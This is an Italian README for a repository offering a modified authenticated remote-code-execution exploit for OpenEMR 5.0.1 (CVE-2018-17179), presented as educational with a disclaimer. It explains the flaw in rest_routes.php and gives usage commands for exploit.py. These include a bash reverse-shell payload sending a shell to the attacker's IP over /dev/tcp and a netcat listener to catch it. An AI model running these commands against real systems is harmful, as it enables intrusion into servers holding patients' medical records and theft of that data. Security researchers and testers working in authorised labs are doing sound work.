
Exploit di esecuzione remota di codice autenticato per OpenEMR 5.0.1 (CVE-2018-17179) con payload di comandi personalizzabili e supporto per reverse shell per test di penetrazione educativi.
⚠️ Disclaimer
Questo repository è destinato esclusivamente a scopi educativi e di ricerca.
Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati, come macchine di laboratorio private.
L'uso non autorizzato di questo codice contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione è illegale e non etico.
L'autore non è responsabile per qualsiasi uso improprio o danno causato.
CVE-2018-17179 colpisce OpenEMR, un software open-source ampiamente utilizzato per la gestione di cartelle cliniche elettroniche e studi medici.
Una falla nel meccanismo di autenticazione dell'endpoint rest_routes.php consente a un utente autenticato di eseguire comandi arbitrari sul server.
Ciò può portare a Remote Code Execution (RCE) nel contesto dell'utente del server web.
interface/main/main_screen.php tramite rest_routes.phpQuesto repository fornisce una versione modificata dell'exploit pubblico di Exploit-DB:
In questo exploit personalizzato:
Preso di mira un pannello di login di test locale di OpenEMR:

Utilizzo: python2 exploit.py <target_url> -u -p -c
Esempio: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Assicurati di avere Python 2 installato.
- L'utente deve avere accesso all'endpoint vulnerabile `rest_routes.php`.
Esecuzione dell'Exploit
Eseguito lo script exploit modificato con un payload di reverse shell bash:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

Il listener Netcat sulla porta 4444 ha ricevuto con successo una reverse shell:
nc -nvlp 4444

Guarda la guida dettagliata e la teoria nel mio post su Medium:
👉 Leggi il blog su Medium